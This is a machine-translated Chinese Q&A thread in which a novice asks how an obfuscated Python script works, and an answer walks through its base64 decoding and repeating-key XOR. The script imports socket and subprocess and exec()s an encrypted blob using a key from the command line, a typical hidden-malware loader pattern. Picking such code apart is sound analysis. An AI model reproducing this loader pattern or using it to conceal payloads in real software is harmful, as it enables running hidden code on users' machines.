理解lambda& 。加入(CHR(ORD(字母))

时间:2017-02-22 07:10:10

标签: python lambda base64 itertools

我在python编码中完成了新手,我正在尝试对脚本/程序进行逆向工程,但却在努力理解lambda / .join(chr(ord())函数:

尝试逆向工程的代码如下:

#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys

import socket, subprocess, os, urllib

x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))

c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""

exec(x(c, sys.argv[1]))

如果我理解这一点,那么运算符C是base64编码的变量,但它不能立即解码,因为它在''.join(chr(c)^ord(k))处被破坏,它以某种方式使用C的解码版本并使用sysargv值循环它 - 但这是我完全失去了;首先处理哪一个函数,C和K的XOR或A和B的循环?

另外,在这种情况下k来自哪里,它不应该是sysargv它是在程序的exec部分设置为b,所以这是某些导入模块默认设置的东西?

1 个答案:

答案 0 :(得分:0)

让我们分解一下:

x = lambda stuff: other_stuff 

几乎完全等同于

def x(stuff):
    return other_stuff

所以它只是定义一个函数,它接受a(base64编码的密文)和b(密钥)并返回解码后的字符串。

现在,从内到外:

base64.decodestring(a)

这只是对cyphertext的base64编码进行解码,并返回一个已解码的字符串

cycle(b) 

返回循环遍历b的迭代器;例如,如果b是"abc",则迭代器将继续提供a,b,c,a,b,c,a,b,c,......。

izip(...)

返回一个迭代器,提供两个序列的“压缩”元组;例如,如果第一个参数是"12345"而第二个参数是cycle("abc"),则它将提供("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")

chr(ord(c)^ord(k)) for c,k in izip(...) 

这是一个生成器表达式,它迭代izip的结果,将上面的这些元组解压缩到ck(密文和每个单字节的密钥)并计算通过对其字节值(^)进行异或*(ord)并将结果重新组合成相应的字符(chr)来解密字节。结果是一个提供解码字符的生成器。

''.join(...) 

将生成器表达式提供的字符与结果连接成一个大字符串。